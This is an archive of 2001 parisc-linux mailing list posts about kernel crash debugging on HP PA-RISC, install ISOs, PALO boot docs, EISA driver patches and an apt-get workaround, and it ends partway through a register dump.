> IASQ: 00000000 00000000 IAOQ: 1018c350 1018c354
>  IIR: 48fa0020    ISR: 00000000  IOR: faf00918
>  CPU:        0   CR30: 124fc000 CR31: 10348000
>  ORIG_R28: 124fc508
> 
> a "grep 1018c3 /boot/System.map"
> 1018c394 t evms_ioctl_cmd_get_minor
> 
> I would like to debug this by obtaining a core dump of the kernel after the 
> reboot but I do not know how? (I did not find back the mail explaining how to do 
> it in detail)

1018c350 is before 1018c394, so it's actually in the previous function.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evms_vgscan crash hppa kernel
Date: Wed, 07 Nov 2001 16:13:38 +0100 (CET)
Lines: 43
Approved: news@gmane.org
Message-ID: <1005146018.3be94fa245586@webmail.tiscalinet.be>
References: <1005144976.3be94b9093186@webmail.tiscalinet.be> <20011107150235.G4441@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620721 29594 80.91.229.3 (22 Nov 2014 01:45:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:21 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  7 08:13:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 315C5482C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Nov 2001 08:13:45 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 161UOY-0005xv-00; Wed, 07 Nov 2001 16:13:38 +0100
In-Reply-To: <20011107150235.G4441@parcelfarce.linux.theplanet.co.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12947

Quoting Matthew Wilcox <willy@debian.org>:

> On Wed, Nov 07, 2001 at 03:56:16PM +0100, joel.soete@freebel.net wrote:
> > IASQ: 00000000 00000000 IAOQ: 1018c350 1018c354
> >  IIR: 48fa0020    ISR: 00000000  IOR: faf00918
> >  CPU:        0   CR30: 124fc000 CR31: 10348000
> >  ORIG_R28: 124fc508
> > 
> > a "grep 1018c3 /boot/System.map"
> > 1018c394 t evms_ioctl_cmd_get_minor
> > 
> > I would like to debug this by obtaining a core dump of the kernel
> after the 
> > reboot but I do not know how? (I did not find back the mail explaining
> how to do 
> > it in detail)
> 
> 1018c350 is before 1018c394, so it's actually in the previous function.

Well ... in System.map I found:

1018bfc4 t evms_ioctl_cmd_get_logical_disk
1018c088 t evms_ioctl_cmd_get_logical_disk_info
1018c1c8 t evms_ioctl_cmd_sector_io
1018c394 t evms_ioctl_cmd_get_minor
1018c494 t evms_ioctl_cmd_get_volume_data

So it should be in 'evms_ioctl_cmd_sector_io', is it right?

Thank Matthew,
    Joel

> 
> -- 
> Revolutions do not require corporate support.
> 
> 


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:20:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evms_vgscan crash hppa kernel
Date: Wed, 7 Nov 2001 15:20:04 +0000
Lines: 9
Approved: news@gmane.org
Message-ID: <20011107152004.H4441@parcelfarce.linux.theplanet.co.uk>
References: <1005144976.3be94b9093186@webmail.tiscalinet.be> <20011107150235.G4441@parcelfarce.linux.theplanet.co.uk> <1005146018.3be94fa245586@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620721 29597 80.91.229.3 (22 Nov 2014 01:45:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:21 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  7 08:20:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 870A5482C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Nov 2001 08:20:06 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 161UUm-0004Kd-00; Wed, 07 Nov 2001 15:20:04 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <1005146018.3be94fa245586@webmail.tiscalinet.be>; from joel.soete@freebel.net on Wed, Nov 07, 2001 at 04:13:38PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12948

On Wed, Nov 07, 2001 at 04:13:38PM +0100, joel.soete@freebel.net wrote:
> So it should be in 'evms_ioctl_cmd_sector_io', is it right?

Correct.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evms_vgscan crash hppa kernel
Date: Wed, 07 Nov 2001 11:43:10 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <200111071843.LAA16301@puffin.external.hp.com>
References: <1005144976.3be94b9093186@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620722 29598 80.91.229.3 (22 Nov 2014 01:45:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  7 11:47:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id ED378482B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Nov 2001 11:47:51 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA16301;
	Wed, 7 Nov 2001 11:43:10 -0700
In-Reply-To: Message from joel.soete@freebel.net 
   of "Wed, 07 Nov 2001 15:56:16 +0100." <1005144976.3be94b9093186@webmail.tiscalinet.be> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12949

joel.soete@freebel.net wrote:
> I would like to debug this by obtaining a core dump of the kernel after the 
> reboot but I do not know how? (I did not find back the mail explaining how
> to do it in detail)

Linux (from Linus' tree) does not support core dumps.
I'm only aware of coredump support patch from SGI.

The folks that manage HPUX core dump tools expresed interest
in porting the same tools to parisc-linux...assuming
we would dump core in the same format.

If a spec published for that, would anyone commit to implementing it?

FWIW, I think much of the work is portable to ia64-linux in case
that would help justify an HP project to pick up/fund this work.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253



From - Thu Nov 08 21:20:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurriaan on Alpha <thunder7@xs4all.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More recent ISO's
Date: Wed, 7 Nov 2001 20:05:49 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <20011107200549.A5828@alpha.of.nowhere>
References: <3.0.5.32.20011107090504.007f9440@mail.magma.ca>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620722 29602 80.91.229.3 (22 Nov 2014 01:45:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Herb Radford <herbr@magma.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  7 12:06:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpzilla3.xs4all.nl (smtpzilla3.xs4all.nl [194.109.127.139])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8D760482C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Nov 2001 12:06:04 -0700 (MST)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtpzilla3.xs4all.nl (8.12.0/8.12.0) with ESMTP id fA7J5vIw086197
	for <parisc-linux@lists.parisc-linux.org>; Wed, 7 Nov 2001 20:06:01 +0100 (CET)
Original-Received: (qmail 6505 invoked from network); 7 Nov 2001 19:05:53 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 7 Nov 2001 19:05:53 -0000
Original-Received: (qmail 6611 invoked by uid 1000); 7 Nov 2001 19:05:49 -0000
Content-Disposition: inline
In-Reply-To: <3.0.5.32.20011107090504.007f9440@mail.magma.ca>
User-Agent: Mutt/1.3.23i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12950

On Wed, Nov 07, 2001 at 09:05:04AM -0500, Herb Radford wrote:
> Booting my C200 probably requires a newer kernel. Are there any more recent
> ISO's than the one available for 0.9.2?

not to my knowledge. 0.9.3 was due out just now, but there is trouble
with the toolchains, people have been warned to not 'apt-get update'
etc., so it's been delayed.

> Are there any more detailed instructions than those for PALO?

I think that most of your questions will be answered if you look in the
archives for this list - the first install is something all of us have
gone through. If it's not there, and not in the docs, feel free to ask!

> I have a burner, but I have not yet set up a compile environment so I'm not
> sure I can get there easily.

I installed my C200 without a parisc-compile environment - you don't
need one. Just make sure your serial terminal is operational and you
have the right cable.

> 
> Not that it has to be easy, I've been compiling x86 kernels to suite my
> ever-changing systems since kernel 0.9. I'm just having a bit of a problem
> with Debian's apt and stuff.
> 
There have been some 'ultra-short' apt 'get started' instructions posted
to this list also. Again, browsing the archives is worth your while.

Good luck,
Jurriaan
-- 
Firstly, when confronted with the twisted strangeness of variable numbers of
arguments, the problem returns... and he who has not kept his faith strong by
repeated practice shall surely fall to this subtle trap.
	Henry Spencer - The Ten Commandments for C programmers (Annotated Ed.)
GNU/Linux 2.4.13-ac7 on Debian/Alpha 64-bits 988 bogomips load:0.00 0.28 0.82



From - Thu Nov 08 21:20:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More recent ISO's
Date: Wed, 07 Nov 2001 20:18:24 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <3BE98900.D006264A@esiee.fr>
References: <3.0.5.32.20011107090504.007f9440@mail.magma.ca> <20011107200549.A5828@alpha.of.nowhere>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620722 29604 80.91.229.3 (22 Nov 2014 01:45:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:22 +0000 (UTC)
Cc: Herb Radford <herbr@magma.ca>,
	parisc-linux@lists.parisc-linux.org
To: thunder7@xs4all.nl
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  7 12:22:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 914D4482B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Nov 2001 12:22:43 -0700 (MST)
Original-Received: from esiee.fr (pc213g.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id 78A8949C0C; Wed,  7 Nov 2001 20:22:41 +0100 (CET)
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12951

Hi all,
> 
> > Are there any more detailed instructions than those for PALO?
If going trough the READMEs and the mailing lists is not enough, you can
go there:
 http://mkhppa1.esiee.fr/palo.html
OR
 http://mkhppa1.esiee.fr/parisc-linux-boot/parisc-linux-boot/index.html

Good luck, Thomas.
ESIEE Team



From - Thu Nov 08 21:20:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] EISA stuff now in CVS
Date: Thu, 8 Nov 2001 01:46:52 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <20011108004716.4A44C482C@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620723 29605 80.91.229.3 (22 Nov 2014 01:45:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  7 17:47:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 4A44C482C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Nov 2001 17:47:16 -0700 (MST)
Original-Received: (qmail 5165 invoked by uid 0); 8 Nov 2001 00:47:13 -0000
Original-Received: from pd9040428.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.4.40)
  by mail.gmx.net (mp005-rz3) with SMTP; 8 Nov 2001 00:47:13 -0000
X-Mailer: KMail [version 1.3.6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12952

Hi all,
I've just committed Daniel Engstrom's <5116@telia.com> EISA patches
to CVS head. Get yourself 2.4.9-pa79 and try yourself :-)

I don't have any EISA cards, so I tested it here with an
old ISA NE2000 NIC clone in my 715/64:

dmesg:
ne.c:v1.10 9/23/94 Donald Becker (becker@scyld.com)
Last modified Nov 1, 2000 by Paul Gortmaker
NE*000 ethercard probe at 0x340: 08 00 00 50 11 13
eth0: NE2000 found at 0x340, using IRQ 10.

pa64:~# ping www.kde.org
PING www.kde.org (213.203.58.36): 56 data bytes
64 bytes from 213.203.58.36: icmp_seq=0 ttl=237 time=149.7 ms
64 bytes from 213.203.58.36: icmp_seq=1 ttl=237 time=108.7 ms

--- www.kde.org ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 108.7/129.2/149.7 ms

pa64:~# cat /proc/interrupts
 IRQ      count         Region    ISR
  2:          0            EISA  cascade
 10:       1645            EISA  NE2000
 32:      93357       PA-CPU-00  timer
 33:       8865       PA-CPU-00  lasi
 39:       1647       PA-CPU-00  wax
 69:          1            Lasi  keyboard, psaux
 86:       7852            Lasi  lasi710
 88:          0            Lasi  parport0
 90:       1008            Lasi  serial
117:       1645             Wax  EISA
125:          0             Wax  wax_hil_nmi
126:          2             Wax  hil

Greetings,
Helge



From - Thu Nov 08 21:20:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720/50 update
Date: Thu, 8 Nov 2001 08:05:16 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20011108080516.A1857@dogbert.localdomain>
References: <fullung@ilink.nis.za> <20011107023007.A12882@dogbert.localdomain> <200111070700.AAA08983@puffin.external.hp.com> <20011107163116.A8527@dogbert.localdomain> <20011107200110.C616@dogbert.localdomain> <3BE9799E.8C2C9C77@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620723 29608 80.91.229.3 (22 Nov 2014 01:45:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  7 23:04:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 31A96482C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Nov 2001 23:04:34 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 161iIe-0000zk-00
	for parisc-linux@lists.parisc-linux.org; Thu, 08 Nov 2001 08:04:28 +0200
Original-Received: (qmail 29818 invoked from network); 8 Nov 2001 06:04:24 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 8 Nov 2001 06:04:24 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 161iJQ-0000U4-00; Thu, 08 Nov 2001 08:05:16 +0200
Content-Disposition: inline
In-Reply-To: <3BE9799E.8C2C9C77@esiee.fr>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *161iIe-0000zk-00*Bkwe1xgjwjg* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12953

Hello Thomas,

I'm still doing some tests, but it seems to have fixed my problem (at
least with the apt I rebuilt from source).

Thanks a bunch!

Regards,

Albert

On Wed, 07 Nov 2001, Thomas Marteau wrote:

> Hi Albert,
> 
> 	It seems that export LD_BIND_NOW=1 can correct the bug for apt-get.
> Can you test?
> 
> Thomas.
> ESIEE Team



From - Thu Nov 08 21:20:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720/50 update
Date: Thu, 8 Nov 2001 08:26:50 +0200
Lines: 70
Approved: news@gmane.org
Message-ID: <20011108082650.B1857@dogbert.localdomain>
References: <fullung@ilink.nis.za> <20011107023007.A12882@dogbert.localdomain> <200111070700.AAA08983@puffin.external.hp.com> <20011107163116.A8527@dogbert.localdomain> <20011107200110.C616@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="ReaqsoxgOBHFXBhH"
X-Trace: ger.gmane.org 1416620723 29614 80.91.229.3 (22 Nov 2014 01:45:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  7 23:26:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id F020C482C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Nov 2001 23:26:01 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 161idS-0003JI-00
	for parisc-linux@lists.parisc-linux.org; Thu, 08 Nov 2001 08:25:58 +0200
Original-Received: (qmail 29856 invoked from network); 8 Nov 2001 06:25:56 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 8 Nov 2001 06:25:56 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 161ieI-0000XX-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 08 Nov 2001 08:26:50 +0200
Content-Disposition: inline
In-Reply-To: <20011107200110.C616@dogbert.localdomain>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *161idS-0003JI-00*4Ck5.gm/jNI* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12954

--ReaqsoxgOBHFXBhH
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

Been fiddling with man some more. I'm going to rebuild man-db from
source to see what there is to find. Here's the crash from man:

Nov  8 08:13:03 bob kernel: !!die_if_kernel: man(1485): Privileged
operation - shouldn't happen! 10
Nov  8 08:13:03 bob kernel:
Nov  8 08:13:03 bob kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Nov  8 08:13:03 bob kernel: PSW: 00000000000001001111111100001111
Nov  8 08:13:03 bob kernel: r0-3^I 00000000 40029470 4000bf07 00000081
Nov  8 08:13:03 bob kernel: r4-7^I 4010b4d8 00039248 000114c0 4002a2c8
Nov  8 08:13:03 bob kernel: r8-11^I 00010e40 40028cf4 bff00bc8 00011a9c
Nov  8 08:13:03 bob kernel: r12-15^I 00000000 00000080 00010570 0001130c
Nov  8 08:13:03 bob kernel: r16-19^I 40028cf4 0000000c 00000000 40028cf4
Nov  8 08:13:03 bob kernel: r20-23^I 00000001 00038e58 00000000 00000000
Nov  8 08:13:03 bob kernel: r24-27^I 00038e58 00000081 000114b4 00020ce8
Nov  8 08:13:03 bob kernel: r28-31^I 00000081 00000041 bff00d00 4000a487
Nov  8 08:13:03 bob kernel: sr0-3^I 00000438 00000438 00000000 00000438
